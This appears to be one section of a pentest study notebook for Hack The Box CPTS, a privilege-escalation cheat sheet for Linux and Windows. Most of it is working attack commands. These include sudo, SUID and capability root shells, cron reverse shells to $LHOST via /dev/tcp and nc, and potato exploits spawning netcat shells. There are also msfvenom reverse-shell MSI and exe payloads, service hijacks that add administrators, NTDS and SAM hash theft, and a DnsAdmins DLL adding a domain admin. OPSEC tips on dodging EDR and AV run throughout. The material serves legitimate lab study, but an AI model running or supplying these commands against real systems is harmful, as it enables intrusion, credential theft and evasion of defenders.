[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow
Section: 12 of 17 · Focus: Stage 09 — Privilege Escalation
Previous: Stage 08 — Password Attacks and Credential Hunting · Next: Stage 10 — Lateral Movement, Pivoting, and Loot
⬆️ STAGE 9 — Privilege Escalation (Linux & Windows)
I’ve got a foothold (web shell, SSH, service account). Goal now: root / NT AUTHORITY\SYSTEM. My loop is always the same — stabilise the shell → auto-enum → chase the reddest finding → re-enum after every priv gain. Automated tools point the way, but I verify manually because they lie and they trip EDR.
[!tip] First thing, every box Fire the auto-enum (linpeas/winpeas) in the background, then work the fast manual wins by hand while it runs:
sudo -l+whoami /priv. Nine times out of ten the quick-win beats the linpeas scroll.
[!abstract] Sibling deep-dives Linux full-length checklist: Linux Privilege Escalation — CPTS Cheat Sheet · Windows: Windows Privilege Escalation — CPTS Cheat Sheet · Credentials found here feed back into Stage 08 and forward into Stage 10.
🐧 Linux
0 — Upgrade the TTY first (do this before anything else)
What to look for: tty returns not a tty, no tab-complete, su/ssh die. Fix it now or every later step is misery. Full playbook in TTY Upgrades & Restricted Shells.
# ── [TARGET] spawn a PTY (first one that exists) ──
python3 -c 'import pty; pty.spawn("/bin/bash")'
# no python? →
script -qc /bin/bash /dev/null
# Ctrl+Z to background
# ── [ATTACKER] raw mode + foreground (zsh: MUST be one line) ──
stty raw -echo; fg
# ── [TARGET] fix the terminal ──
reset
export SHELL=bash TERM=xterm-256color
stty rows 50 cols 200 # values from `stty size` locally
[!warning] Watch out On zsh
stty raw -echoandfgmust be on the same line separated by;or-echois lost beforefgruns. If I land in rbash/rksh/lshell, treat that restriction separately after stabilizing the terminal; use the ranked breakout matrix in TTY Upgrades & Restricted Shells.
1 — Auto-enum: linpeas + pspy
[!tools] Stage this — Linux enum toolkit Staged in the vault:
linpeas.sh (SHA-256 · GPG signature)
linpeas_linux_amd64 (SHA-256 · GPG signature)
Link-only companions (grab from your attack box): linux-smart-enumeration (lse.sh) — verbose, level-based (
-l 1for the interesting stuff) · LinEnum — older but-tthorough mode still catches cron/NFS oddities · linux-exploit-suggester — kernel/CVE matcher · BeRoot — config-driven privesc checks. Reference: GTFOBins for every binary a check flags.
# ── [ATTACKER] serve tools ──
python3 -m http.server 80 # from dir with linpeas.sh + pspy64
# ── [TARGET] run linpeas straight to memory (no disk artifact) ──
curl http://$LHOST/linpeas.sh | bash
# or drop it and run with all checks
./linpeas.sh -a | tee /tmp/.lp.txt
# static binary variant when the shell script is mangled/blocked:
chmod +x linpeas_linux_amd64 && ./linpeas_linux_amd64
# ── watch cron/root processes live (catches hidden root jobs) ──
./pspy64 -pf -i 1000
[!tip] Read linpeas by colour — RED/YELLOW = 95% a vector. pspy is my secret weapon: it shows root cron jobs and command lines with no root needed, which linpeas can miss. Run both before touching anything else; their output decides which section below you jump to.
[!opsec] OPSEC / detection Piping
curl | bashleaves no file but the process args still show inps//procand EDR telemetry.linpeas.sh -ais very noisy (hundreds of spawned binaries). On a monitored host prefer targeted manual checks (MITRE T1083 File and Directory Discovery, T1057 Process Discovery are logged everywhere) and run pspy from/dev/shmor/tmpwith an innocuous name. Clear/tmp/.lp.txtwhen done.
2 — sudo -l + GTFOBins (the #1 quick-win)
What to look for: anything I can run as another user, NOPASSWD, or env_keep+=LD_PRELOAD.
sudo -l
# (root) NOPASSWD: /usr/bin/find → GTFOBins it
Decision table — read sudo -l output:
sudo -l shows | What it means | First move |
|---|---|---|
(ALL : ALL) ALL | Full sudo, password needed | reuse the foothold password / looted creds (Stage 08) |
(root) NOPASSWD: /path/bin | Free root via one binary | check the sudo column on GTFOBins for that exact binary |
(userX) NOPASSWD: ... | Lateral step, not root | become userX (sudo -u userX ...), re-run sudo -l — chained hops are common in CPTS |
env_keep+=LD_PRELOAD / LD_LIBRARY_PATH | Library injection survives sudo | §F below — compile a root .so |
SETENV: | I can set arbitrary env vars | sudo PYTHONPATH=/tmp ..., sudo PATH=..., sudo BASH_ENV=... |
sudoedit / -e entry | Edit a file as root | check CVE-2023-22809 (§I) or GTFOBins sudoedit (shell escape via EDITOR) |
!authenticate | No password even without NOPASSWD | just run it |
secure_path=... | sudo rebuilds PATH | PATH hijack against this entry is dead (§A) |
| nothing / “not allowed” | No sudo rights | move on; check sudo version CVEs (§I) |
# ── GTFOBins sudo escapes (match the binary you're allowed) ──
sudo find . -exec /bin/bash \; -quit
sudo vim -c ':!/bin/bash'
sudo awk 'BEGIN {system("/bin/bash")}'
sudo env /bin/bash
sudo nmap --interactive # legacy nmap 2.x–5.x only, then: !sh
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/.x -Z root # -z runs script as root
# ── "shell escape sequence" family (man/less/more/git/journalctl pagers) ──
sudo man man # then: !/bin/bash
sudo less /etc/hosts # then: !/bin/bash
sudo git -p help config # then: !/bin/bash
# ── env_keep LD_PRELOAD ──
gcc -fPIC -shared -o /tmp/root.so shell.c -nostartfiles # _init(){setuid(0);system("/bin/bash");}
sudo LD_PRELOAD=/tmp/root.so <allowed_command>
[!warning] Watch out
sudoversion< 1.8.28? Check CVE-2019-14287 (sudo -u#-1) and Baron Samedit CVE-2021-3156 (heap overflow, works even with no sudo rights). Always check the GTFOBins entry for the exact binary — a lot of them need a specific invocation to keep the euid. And remember: a sudo grant for a script (/opt/backup.sh) is only as strong as the script’s writability — checkls -lon the target file, not just the grant.
[!opsec] OPSEC — sudo abuse Every
sudoinvocation writes to/var/log/auth.log(or journald) with the full command line — GTFOBins escapes are unmistakable in log review. On monitored boxes, prefer vectors that don’t touch sudo at all (capabilities, writable cron targets, NFS), and clean up dropped SUID shells (/tmp/rootbash) immediately after establishing a steadier root channel.
3 — SUID / SGID binaries
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null # SUID
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null # SETGID
# quick triage: anything NOT in the standard set is interesting
# ── abuse a SUID binary → keep root euid with -p (see GTFOBins "suid" column) ──
/usr/bin/env /bin/bash -p
find . -exec /bin/bash -p \; -quit
python3 -c 'import os; os.execvp("/bin/bash", ["bash", "-p"])'
[!warning] Watch out A non-standard SUID binary (custom app, weird path) is a screaming vector — check the SUID column on GTFOBins, and if it calls another binary by bare name, hijack it via
PATH(§A).bashdrops SUID unless you pass-p. Pitfall: SUID bits are ignored on filesystems mountednosuid(common for/tmp, NFS) — a planted SUID shell there does nothing.
4 — Capabilities
getcap -r / 2>/dev/null
# cap_setuid+ep on python/perl → instant root
Capability → escalation map:
| Capability | Seen on | Escalation |
|---|---|---|
cap_setuid+ep | python, perl, ruby, php | os.setuid(0) → shell (below) |
cap_dac_read_search+ep | tar, cat, some backup tools | read any file → /etc/shadow, root’s SSH keys (§8) |
cap_dac_override+ep | vim.basic, cp | write any file → edit /etc/passwd (§E) |
cap_sys_admin+ep | — | mount abuse: mount -o bind the host FS, effectively root |
cap_sys_ptrace+ep | gdb, python | inject into / steal the memory of a root process (T1055) |
cap_sys_module+ep | insmod | load a malicious kernel module |
cap_chown, cap_fowner | — | take ownership of /etc/shadow or a root script, then rewrite it |
# cap_setuid=ep example
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# cap_dac_read_search on tar → exfil /etc/shadow
tar -cf /tmp/sh.tar /etc/shadow && tar -xf /tmp/sh.tar -C /tmp
5 — Cron jobs, pspy & writable scripts
[!tools] Stage this — process/cron monitoring pspy64 (SHA-256 · GPG signature)
pspy32 (SHA-256 · GPG signature)
Run unprivileged; watches
/procfor every process spawn (root’s included) with full command lines.-pfprints filesystem events,-i 1000polls every second. Match 32 vs 64-bit withuname -mbefore uploading.
cat /etc/crontab; ls -la /etc/cron.*/ /var/spool/cron/
# pspy confirms what actually fires as root and how often
# ── writable script run by root cron → append reverse shell ──
echo 'bash -i >& /dev/tcp/'$LHOST'/443 0>&1' >> /path/to/root_cron_script.sh
# ── writable cron PATH: cron's PATH is set inside /etc/crontab; if a dir in it is
# writable AND the job calls a binary by relative name → drop a same-named payload ──
grep '^PATH' /etc/crontab; ls -ld <each_dir_on_that_PATH>
# ── or wildcard injection (tar/rsync in a root cron over a dir I write to) ──
echo 'mkfifo /tmp/f; nc '$LHOST' 443 0</tmp/f | /bin/sh >/tmp/f 2>&1' > shell.sh
touch './--checkpoint=1'; touch './--checkpoint-action=exec=sh shell.sh'
[!tip] Confirm the job is live with
pspy64 -pfbefore planting payloads — a backup script that fires daily at 03:00 is a 20-hour wait; one firing every minute is a win now. Cron PATH hijack and wildcard injection mechanics: §A and §B below. MITRE T1053.003.
[!warning] Writable cron paths are the subtle variant The crontab itself can be root-locked while the target of the job is writable: the script file, the directory the script lives in (rename-and-replace), a binary the script calls by relative name, or a glob directory it operates on (§B). Check each link of the chain with
ls -l/namei -l /full/path/to/script.sh—nameishows perms on every component at once. In CPTS labs the writable-directory-not-file pattern is a favourite.
6 — Writable PATH, world-writable files, NFS, containers & disk groups
echo $PATH
find / -path /proc -prune -o -type f -perm -o+w -print 2>/dev/null # world-writable files
find / -path /proc -prune -o -type d -perm -o+w -print 2>/dev/null # ...and dirs
showmount -e $IP # NFS exports
id # lxd? docker? disk? adm? → group-based escape
# ── PATH hijack a root-run binary that calls e.g. `service` by relative name ──
PATH=.:${PATH}; echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > service; chmod +x service
# ── NFS no_root_squash → drop a SUID root shell from attacker box (full chain §C) ──
sudo mount -t nfs $IP:/tmp /mnt && cp /bin/bash /mnt/x && chmod +s /mnt/x # then /tmp/x -p on target
# ── docker group → host FS in a throwaway container (full chain §D) ──
docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
# ── LXD group → mount host / inside a privileged container ──
lxc image import alpine.tar.gz --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t; lxc exec r00t /bin/sh # host fs under /mnt/root
# ── disk group → raw block-device access (read /etc/shadow, write a SUID) ──
debugfs -w /dev/sda1 # debugfs> cat /root/.ssh/id_rsa (or: dump, write)
# ── adm group → read /var/log: creds & tokens leaked into logs ──
grep -riE 'passw|token|secret' /var/log 2>/dev/null
# ── lxc group (unprivileged variant) → same trick, use security.privileged=false + idmap, or /etc/subuid abuse ──
Linux quick-triage table — finding → first move:
| Finding (linpeas/manual) | Section | First move |
|---|---|---|
sudo -l grants a binary | §2 | GTFOBins sudo entry for that exact binary |
| Non-standard SUID | §3 | GTFOBins suid column; strings for bare-name calls (→ §A PATH hijack) |
cap_setuid/cap_dac_*/cap_sys_admin | §4 | capability map table → setuid/read/write as root |
| Root cron + writable script/dir | §5 | append payload, or wildcard-inject (§B) |
PATH=… writable dir in cron’s PATH | §5/§A | plant same-named binary |
no_root_squash export | §C | SUID shell staged as attacker-root |
docker/lxd/lxc/disk/adm group | §6/§D/§J | container mount / debugfs / log loot |
Writable /etc/passwd/shadow/sudoers | §E | inline-hash UID-0 user |
| Writable systemd unit / timer | §H | ExecStart revshell + daemon-reload |
| Old kernel/sudo/pkexec, nothing else | §7/§I | logic bugs first: PwnKit → Baron Samedit → Dirty Pipe/COW last |
Readable id_rsa / root tmux socket | §8/§9 | direct key reuse / socket attach |
7 — Kernel exploits (last resort)
What to look for: old kernel + no other path. Kernel exploits can panic the box — I try everything else first.
uname -a; cat /etc/os-release; cat /etc/lsb-release 2>/dev/null # kernel + distro
sudo -V | head -1 # sudo version for §I CVEs
# match with linux-exploit-suggester (link-only) or searchsploit linux kernel <ver>
gcc kernel_exploit.c -o kx && ./kx # compile ON-target for glibc match
[!danger] Kernel exploit caution Memory-corruption kernel exploits (Dirty COW CVE-2016-5195 < 4.8.3, Dirty Pipe CVE-2022-0847 kernels 5.8–5.16.11, OverlayFS/Ubuntu CVEs) can panic or hang the target — catastrophic on a real engagement, and in a lab it can force a reset that wipes your planted artifacts. Rules of engagement: (1) exhaust every misconfiguration first, (2) snapshot/backup if you can, (3) prefer logic bugs over memory corruption — PwnKit CVE-2021-4034 (
pkexec, near-universal pre-2022, rarely crashes) and sudo Baron Samedit CVE-2021-3156 are logic-class and far safer, (4) document exploit name + CVE + outcome for the report (client stability is a finding too). Detection: new SUID files / unexpected root shells are the classic post-exploitation artifacts a blue team hunts (T1068 Exploitation for Privilege Escalation).
[!warning] Watch out PwnKit (CVE-2021-4034) is near-universal on anything with
pkexecand rarely crashes — try it before any memory-corruption kernel exploit. Compile on the target, not your Kali, or glibc mismatches will segfault it. Full command index: Linux Privilege Escalation Cheat Sheet.
8 — SSH key looting & reuse
What to look for: readable private keys, known_hosts targets, agent sockets — they turn a single-host foothold into lateral root without any exploit.
ls -la /home/*/.ssh/ /root/.ssh/ 2>/dev/null
find / -name id_rsa -o -name id_ed25519 -o -name id_ecdsa 2>/dev/null | grep -v ^/proc
cat /home/*/.ssh/known_hosts /home/*/.ssh/authorized_keys 2>/dev/null # where do they SSH to/from?
cat ~/.ssh/config 2>/dev/null # jump hosts, custom ports
# ── [ATTACKER] fix perms and reuse ──
chmod 600 looted_id_rsa
ssh -i looted_id_rsa user@$IP # same box, higher user? root@? pivot host from known_hosts?
# ── root's key readable via cap_dac_read_search / disk group / backup job → same path ──
# ── ssh-agent socket hijack (if I share a box with a root session or find root's env) ──
SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.PID ssh-add -l
[!tip] Keys found as a low user often belong to
rootor a deploy/admin account — always tryssh -i key root@$IPlocally first (fast, no network noise), then every host inknown_hosts. Passphrase-protected key?ssh2john key > hash→ hashcat-m 22921(see Stage 08). MITRE T1552.004.
9 — tmux / screen session hijack
What to look for: a root-owned tmux/screen socket that’s group-writable, or a screen session left detached with sloppy permissions. Attaching inherits the running shell — zero exploit code.
ps aux | grep -E 'tmux|screen' | grep -v grep # root sessions?
ls -la /tmp/tmux-* /run/screen/* 2>/dev/null # socket dirs + perms
# group-writable root socket (e.g. srw-rw---- root devs, and I'm in devs):
tmux -S /shareds # straight into root's live shell
# screen equivalent: find the session dir, then
screen -x root/ # attach multi-display to root's session
[!note] This also works horizontally: a dev user’s live tmux gives you their full context (history, agent, sudo session). Don’t kill the session —
tmux -S sock attachread-only (-r) first if you just want to loot scrollback. Related socket/group tricks: §J below.
10 — Service-level vectors: MySQL UDF · polkit · logrotate · systemd
What to look for: mysql running as root with a known credential, an interactive polkit-reachable service, writable log dirs + old logrotate, writable systemd units.
# ── MySQL running as ROOT + I have creds → UDF command execution as root ──
ps aux | grep mysql | grep -v grep # user=root?
mysql -u root -p -e 'select @@plugin_dir, @@version_compile_os;'
# drop a UDF .so (lib_mysqludf_sys) into @@plugin_dir, then:
# CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
# SELECT sys_exec('chmod +s /bin/bash');
# ── polkit: can I reach pkexec/polkit actions? (separate from PwnKit the CVE) ──
pkexec --version; pkaction | head
# polkit < 0.119 on RHEL/CentOS 7-era boxes → CVE-2021-3560 (accountsservice race → add root user)
# ── logrotate: writable log dir + logrotate 3.8.6/3.11.0/3.15.0/3.18.0 → logrotten race ──
logrotate --version; ls -ld /var/log/<app> # writable log + create-only-if-missing config
# ── systemd: writable unit / ExecStart target / sudo systemctl → §H below ──
systemctl list-timers --all
[!warning] Watch out MySQL UDF needs
secure_file_privempty or pointing at a writable plugin dir and FILE privilege onmysql— checkSHOW GRANTS. CVE-2021-3560 is a race: expect several attempts, and it creates a user — clean it up afterward. systemd unit abuse and logrotten details: §H below.
🪟 Windows
1 — Auto-enum + the two commands that matter
[!tools] Stage this — Windows enum toolkit Staged in the vault:
winPEASx64.exe (SHA-256 · GPG signature)
winPEASany.exe (SHA-256 · GPG signature)
PrivescCheck.ps1 (SHA-256 · GPG signature)
jaws-enum.ps1 (SHA-256 · GPG signature)
Seatbelt.exe (SHA-256 · GPG signature)
SharpUp.exe (SHA-256 · GPG signature)
PowerUp.ps1 (SHA-256 · GPG signature)
Link-only companions: Watson / Sherlock (legacy missing-patch suggesters) · WES-NG and Windows-Exploit-Suggester — offline diff: run
systeminfoon the target, feed the output to the suggester on your attack box (wesng systeminfo.txt), and it maps missing patches → known privesc CVEs without touching the target again.
What to look for: whoami /priv for SeImpersonate; whoami /groups for privileged groups. Deep dives: Windows PrivEsc Cheat Sheet and Implementation Roadmap Strategic Workflow for Windows Privilege Escalation.
# ── the fast manual checks (do these by hand immediately) ──
whoami /priv
whoami /groups
whoami /all
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix" # feed WES-NG offline
:: ── stage tools to C:\Windows\Temp (Users can write there) ──
certutil.exe -urlcache -split -f http://%LHOST%/winPEASx64.exe C:\Windows\Temp\wp.exe
C:\Windows\Temp\wp.exe > C:\Windows\Temp\wp.txt
:: ── stealthier .NET options ──
.\SharpUp.exe audit
.\Seatbelt.exe -group=all
# ── PrivescCheck (PowerShell, itm4n — thorough + low FP, Extended mode) ──
. .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended
# ── JAWS (pure PowerShell, older boxes / no AV) ──
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFileName jaws.txt
# ── PowerUp (import + all checks; has auto-exploit functions) ──
Import-Module .\PowerUp.ps1; Invoke-AllChecks
[!warning] Watch out winPEAS is flagged by 50+ AV engines and Defender blocks it by default — on a monitored box use the
.batvariant, SharpUp/Seatbelt (compiled .NET dodges AMSI), PrivescCheck viaIEXcradle, or just do it manually. Even a “Disabled” privilege inwhoami /privmeans the account has it; it just needs enabling.
2 — whoami /priv interpretation table
Every privilege listed — even Disabled — is assigned to my token and can be enabled in-session. Map priv → technique before running anything:
Privilege (whoami /priv) | Buys me | Technique / tool |
|---|---|---|
SeImpersonatePrivilege | steal any connecting client’s token | potato family (§3) — most common service-account win |
SeAssignPrimaryTokenPrivilege | assign a token to a new process | potato with -t * variant / direct CreateProcessAsUser |
SeDebugPrivilege | open any process (incl. SYSTEM/LSASS) | procdump/comsvcs LSASS dump, or token steal via psgetsys (deep section) |
SeBackupPrivilege | read any file ignoring DACLs | robocopy /B hive/NTDS theft → secretsdump (deep section) |
SeRestorePrivilege | write any file, change ownership/ACLs, load hives | overwrite a SYSTEM service binary, reg load/restore tricks |
SeTakeOwnershipPrivilege | WRITE_OWNER on any object | takeown + icacls /grant → read protected files (deep section) |
SeLoadDriverPrivilege | load kernel drivers | BYOVD: EoPLoadDriver + Capcom.sys (Print Operators §) |
SeManageVolumePrivilege | volume-level ops → full-control ACL on C:\ | SeManageVolumeExploit → DLL hijack chain (deep section) |
SeCreateTokenPrivilege | forge arbitrary tokens | create a SYSTEM token directly (rare) |
SeTcbPrivilege | act as part of the OS | token manipulation → SYSTEM (rare, juicy) |
SeEnableDelegationPrivilege | set delegation on accounts/computers | AD abuse — constrained delegation path (Stage 06 territory) |
SeShutdownPrivilege etc. | — | not escalation; ignore noise |
[!note] No native cmdlet flips a
Disabledpriv on — use a scriptedAdjustTokenPrivilegeshelper (EnableAllTokenPrivs,Enable-Privilege.ps1) or the attack tool’s built-in self-enable. MITRE T1134 Access Token Manipulation.
3 — SeImpersonatePrivilege → Potato → SYSTEM
What to look for: SeImpersonatePrivilege Enabled — standard on IIS AppPool, MSSQL, NETWORK SERVICE, LOCAL SERVICE. This is the most common quick-win on service-account footholds. Full breakdown: 🟣 Attack.
[!tools] Stage this — potato family PrintSpoofer64.exe (SHA-256 · GPG signature)
GodPotato-NET4.exe (SHA-256 · GPG signature)
GodPotato-NET35.exe (SHA-256 · GPG signature)
JuicyPotato.exe (SHA-256 · GPG signature)
SweetPotato.exe (SHA-256 · GPG signature)
Link-only: RoguePotato (needs fake OXID resolver + port-forward on 135) · JuicyPotatoNG (DCOM revived for newer builds) · SharpEfsPotato (C#, EFS-RPC coercion).
Decision table — pick by requirement, not by habit:
| Tool | Requirement | Works on | Notes |
|---|---|---|---|
| PrintSpoofer64.exe | Print Spooler running | all builds incl. 2019/2022 | fast, clean, interactive -i; dead if Spooler disabled (common post-PrintNightmare) |
| GodPotato-NET4 / -NET35 | matching .NET version installed | Server 2012–2022, Win8–11 | works with Spooler OFF — the broad default; pick NET35 vs NET4 by what’s on the box |
| JuicyPotato.exe | valid CLSID list for the OS | pre-Server 2019 / Win10 <1809 | Microsoft killed the DCOM path on 2019+/1809+; also covers SeAssignPrimaryToken with -t * |
| SweetPotato.exe | .NET 4.x | broad | combo: PrintSpoofer + EfsRpc + Rotten auto-fallback in one binary |
| RoguePotato (link) | fake OXID resolver reachable on 135 (socat port-fwd) | Spooler-off boxes | needs the redirector; use when outbound 135 to attacker is possible |
| JuicyPotatoNG (link) | .NET 4.x, local interactive | newer builds | -t * CreateProcessWithToken; pairs with PrintSpoofer-style add-user |
| SharpEfsPotato (link) | EFS-RPC reachable | broad, C# (memory-only friendly) | executes inline; good when dropping EXEs is blocked |
whoami /priv | findstr /i "Impersonate AssignPrimaryToken"
[System.Environment]::OSVersion.Version # pick the right potato
sc query Spooler # up? PrintSpoofer viable
# .NET version decides GodPotato variant:
reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release
# Release >= 378389 → .NET 4.5+ present → GodPotato-NET4; older/legacy → -NET35
# ── GodPotato: broadest compatibility (Server 2012–2022, Win8–11) ──
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssword123! /add && net localgroup Administrators hacker /add"
.\GodPotato-NET4.exe -cmd "cmd /c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe"
# ── PrintSpoofer: fast/clean, needs Print Spooler ──
sc query Spooler
.\PrintSpoofer64.exe -i -c cmd # interactive SYSTEM
.\PrintSpoofer64.exe -c "C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe"
# ── JuicyPotato: legacy builds only ──
.\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -t *
# ── SweetPotato: auto-fallback combo ──
.\SweetPotato.exe -a "cmd /c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe"
# Connect to the MSSQL foothold from Linux.
impacket-mssqlclient "$U":"$P"@$IP -windows-auth
# Commands entered at the mssqlclient SQL prompt.
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami /priv
SQL> xp_cmdshell certutil -urlcache -f http://$LHOST/GodPotato-NET4.exe C:\Temp\gp.exe
SQL> xp_cmdshell C:\Temp\gp.exe -cmd "cmd /c net localgroup administrators $U /add"
[!warning] Watch out JuicyPotato is dead on Server 2019+ / Win10 1809+ (Microsoft killed the DCOM path) — reach for GodPotato or PrintSpoofer there. If Print Spooler is disabled, PrintSpoofer won’t fire; GodPotato doesn’t need it. The potato itself is quiet — the SYSTEM cmd/powershell spawned from
w3wp.exe/sqlservr.exe(Event 4688) is the loud part.
4 — AlwaysInstallElevated
:: ── BOTH keys must be 0x1 ──
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# ── [ATTACKER] build a SYSTEM MSI ──
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f msi -o evil.msi
:: ── [TARGET] install silently → SYSTEM shell ──
msiexec /quiet /qn /norestart /i C:\Windows\Temp\evil.msi
:: or PowerUp's user-add MSI
Import-Module .\PowerUp.ps1; Write-UserAddMSI
[!note] Loud but reliable: MSI install writes Event 11707 (MsiInstaller) and the service/executable artifacts land under
C:\Program Files. Remove the installed product (msiexec /x) after proving the path. MITRE T1548.002.
5 — Unquoted service path
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
icacls "C:\Program Files\Some Folder\" :: can I write an intermediate dir?
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o Some.exe
copy Some.exe "C:\Program Files\Some.exe"
sc stop VulnSvc & sc start VulnSvc
[!warning] Watch out Unquoted paths are commonly found but rarely exploitable — writing to
C:\orC:\Program Filesneeds admin, and I usually can’t restart the service (wait for reboot). Report it, but don’t hang the whole box on it. Weak service perms below are the real win.
6 — Weak service perms (binary / DACL / registry)
What to look for: SERVICE_CHANGE_CONFIG / SERVICE_ALL_ACCESS for my user, a writable service .exe, or a writable service registry key.
:: modifiable services / binaries
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Users" *
accesschk.exe /accepteula -quvcw VulnSvc
icacls "C:\Program Files\VulnApp\service.exe"
accesschk.exe /accepteula "%USERNAME%" -kvuqsw hklm\System\CurrentControlSet\Services
:: ── (a) weak service DACL: read the SDDL, then reconfigure binpath ──
sc sdshow VulnSvc :: D: A;;CCLCSWRPWPDTLOCRRC;;;SY ... look for your SID/group with RPWP
sc config VulnSvc binpath= "cmd /c net localgroup administrators %USERNAME% /add"
sc stop VulnSvc & sc start VulnSvc
net localgroup administrators
:: cleanup: restore original binpath (and SDDL if changed: sc sdset VulnSvc "D:(...)")
sc config VulnSvc binpath= "C:\Program Files\VulnApp\service.exe"
:: ── (b) writable binary → replace it ──
copy /Y C:\Windows\Temp\payload.exe "C:\Program Files\VulnApp\service.exe"
sc stop VulnSvc & sc start VulnSvc
# ── (c) writable registry ImagePath ──
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\VulnSvc" -Name ImagePath -Value "C:\Windows\Temp\payload.exe"
Restart-Service VulnSvc
[!tip] The service will “fail to start” — that’s fine, the command already ran as LocalSystem. Always revert the binpath afterward or you break the service and leave a loud artifact (Event 7045 new/changed service, 4657 registry change). MITRE T1543.003 / T1574.
[!opsec] OPSEC / detection — service abuse
sc config/sdsetchanges are written to the registry underHKLM\SYSTEM\CurrentControlSet\Services\<svc>and logged (Sysmon 13, 4657, 7045 on start). Prefer: (1) record the originalbinpath/SDDL (sc qc,sc sdshow) before touching anything, (2) use thecmd /c <one-shot>binpath form so no binary is dropped, (3) restore immediately after the callback lands, (4) if the box is monitored, consider the writable-binary variant instead — replacing an existing EXE leaves no service-config event at all (but does trip file-integrity/AV scans).
DLL search-order table (for the DLL-hijack deep dive below — Safe DLL Search Mode ON, the default):
| # | Location searched | Abusable when |
|---|---|---|
| 1 | Application’s own directory | app folder writable by me → drop the DLL here (the classic) |
| 2 | C:\Windows\System32 | admin-only (or via SeManageVolume/SeRestore write) |
| 3 | C:\Windows\System | admin-only |
| 4 | C:\Windows | admin-only |
| 5 | Current working directory | pushed low by Safe DLL Search; abusable via writable CWD + relative launch |
| 6 | PATH directories (in order) | a user-writable dir sits on the SYSTEM PATH → plant DLL (T1574.001) |
7 — Credential hunting: autologon, unattend, cmdkey, history
Quick local sweep here — the full playbook (SYSVOL cpassword, DPAPI, KeePass, browser stores, config files) lives in Stage 08 — Password Attacks and Credential Hunting.
:: ── plaintext autologon creds ──
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" :: DefaultUserName/DefaultPassword
:: ── unattended-install leftovers (cleartext or Base64 creds) ──
where /R C:\ unattend.xml
type C:\Windows\Panther\unattend.xml
type C:\Windows\System32\Sysprep\sysprep.xml
:: ── saved creds → runas ──
cmdkey /list
runas /savecred /user:%USERDOMAIN%\Administrator "cmd.exe /c C:\Windows\Temp\nc64.exe %LHOST% 443 -e cmd.exe"
:: ── config-file sweep ──
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
# ── PowerShell history (all users), then spray reuse everywhere ──
foreach($u in (ls C:\users).fullname){cat "$u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}
[!note] Password reuse is rampant — any credential I find (history file, Sticky Notes, web.config) gets sprayed across every reachable host. Re-enumerate after every priv gain: files readable as admin that weren’t readable before often hold the domain keys.
8 — AD privileged-group abuse (on/against a DC)
What to look for: whoami /groups showing Backup Operators, Server Operators, Print Operators, DnsAdmins, or Account Operators. Each is a direct or near-direct path to DC/SYSTEM.
whoami /groups | findstr /i "Backup Server Print DnsAdmins Account"
Backup Operators — SeBackup/SeRestore read any file → grab NTDS + SYSTEM → offline hashes (🟣 Attack):
whoami /priv # SeBackupPrivilege / SeRestorePrivilege
robocopy /B C:\Windows\NTDS C:\Temp ntds.dit # backup-mode copy bypasses the lock/ACL
reg save HKLM\SYSTEM C:\Temp\SYSTEM
# remote, no logon needed:
reg.py "$DOMAIN/$U:$P"@$DC save -keyName 'HKLM\SAM' -o SAM
reg.py "$DOMAIN/$U:$P"@$DC save -keyName 'HKLM\SYSTEM' -o SYSTEM
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Server Operators — can manage services on the DC → make one run as SYSTEM (🟣 Attack):
sc.exe \\%COMPUTERNAME% query type=own | findstr SERVICE_NAME
sc.exe \\DC01 config VSS binPath= "cmd.exe /c net localgroup Administrators %USERNAME% /add"
sc.exe \\DC01 stop VSS & sc.exe \\DC01 start VSS
Print Operators — SeLoadDriverPrivilege → load a vulnerable driver (🟣 Attack):
whoami /priv :: SeLoadDriverPrivilege Enabled
EoPLoadDriver.exe System\CurrentControlSet\MyDriver C:\Tools\Capcom.sys
ExploitCapcom.exe :: SYSTEM shell (BYOVD on modern builds)
DnsAdmins — DNS runs as SYSTEM; load a plugin DLL (🟣 Attack):
msfvenom -p windows/x64/exec cmd='net group "domain admins" '"$U"' /add /domain' -f dll -o evil.dll
smbserver.py share /path/to/dll/ -smb2support
dnscmd $DC /config /serverlevelplugindll \\$LHOST\share\evil.dll
